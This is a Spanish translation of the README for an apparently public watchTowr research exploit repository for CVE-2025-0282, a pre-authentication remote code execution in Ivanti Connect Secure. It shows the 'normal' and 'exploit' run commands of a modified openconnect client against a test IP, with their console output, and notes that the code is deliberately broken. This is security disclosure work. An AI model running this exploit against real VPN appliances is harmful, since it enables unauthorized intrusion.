watchtowrlabs/cve-2025-0282Ivanti Connect Secure IFT TLS Desbordamiento de pila RCE previo a la autenticación (CVE-2025-0282)
Desbordamiento de pila TLS IFT en Ivanti Connect Secure pre-autenticación RCE (CVE-2025-0282)
Este código está intencionadamente roto de maneras no triviales y requerirá esfuerzo para funcionar según lo descrito previamente en nuestra publicación de blog sobre técnicas de explotación.
Para entender esta vulnerabilidad, puedes echar un vistazo a nuestro informe técnico.
Guía de explotación y técnicas - Ivanti Connect Secure RCE (CVE-2025-0282)
El código opera en dos modos:
Comienza ejecutando el código en modo "Normal". Si te encuentras con una solicitud de contraseña, indica que el objetivo es funcional. A continuación, cambia al modo "Exploit". Si ves el mensaje "Failed to complete authentication", el objetivo podría ser vulnerable. Ten en cuenta que el código de exploit incluye direcciones y offsets hardcodeados, que deberás modificar para que funcione con tu objetivo autorizado.
MODE=normal ./openconnect-9.12/openconnect --protocol=pulse --user=test 10.20.5.4
__ .__ ___________
__ _ _______ _/ |_ ____ | |_\__ ___/_____ _ _________
\ \/ \/ /\__ \\ __\/ ___\| | \| | / _ \ \/ \/ /\_ __ \
\ / / __ \| | \ \___| Y \ |( <_> ) / | | \/
\/\_/ (____ /__| \___ >___| /____| \____/ \/\_/ |__|
\/ \/ \/
(*) Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)
- Sina Kheirkhah (@SinSinology) of watchTowr ([email protected])
CVEs: [CVE-2025-0282]
Connected to 10.20.5.4:443
SSL negotiation with 10.20.5.4
Server certificate verify failed: signer not found
Certificate from VPN server "10.20.5.4" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
--servercert pin-sha256:kE2T2Rx2hc9EquYWABzj22wil29SZezWLdJ7OnhpdMw=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 10.20.5.4 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
Got HTTP response: HTTP/1.1 101 Switching Protocols
Enter user credentials:
Password:
MODE=exploit ./openconnect-9.12/openconnect --protocol=pulse --user=test 10.20.5.4
__ .__ ___________
__ _ _______ _/ |_ ____ | |_\__ ___/_____ _ _________
\ \/ \/ /\__ \\ __\/ ___\| | \| | / _ \ \/ \/ /\_ __ \
\ / / __ \| | \ \___| Y \ |( <_> ) / | | \/
\/\_/ (____ /__| \___ >___| /____| \____/ \/\_/ |__|
\/ \/ \/
(*) Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)
- Sina Kheirkhah (@SinSinology) of watchTowr ([email protected])
CVEs: [CVE-2025-0282]
Connected to 10.20.5.4:443
SSL negotiation with 10.20.5.4
Server certificate verify failed: signer not found
Certificate from VPN server "10.20.5.4" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
--servercert pin-sha256:kE2T2Rx2hc9EquYWABzj22wil29SZezWLdJ7OnhpdMw=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 10.20.5.4 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
Got HTTP response: HTTP/1.1 101 Switching Protocols
Failed to read from TLS/DTLS socket: Error in the pull function.
Failed to complete authentication
[!] Target might be vulnerable
Este exploit fue escrito por Sina Kheirkhah (@SinSinology) de watchTowr (@watchtowrcyber)
Para conocer las últimas investigaciones de seguridad, sigue al equipo de watchTowr Labs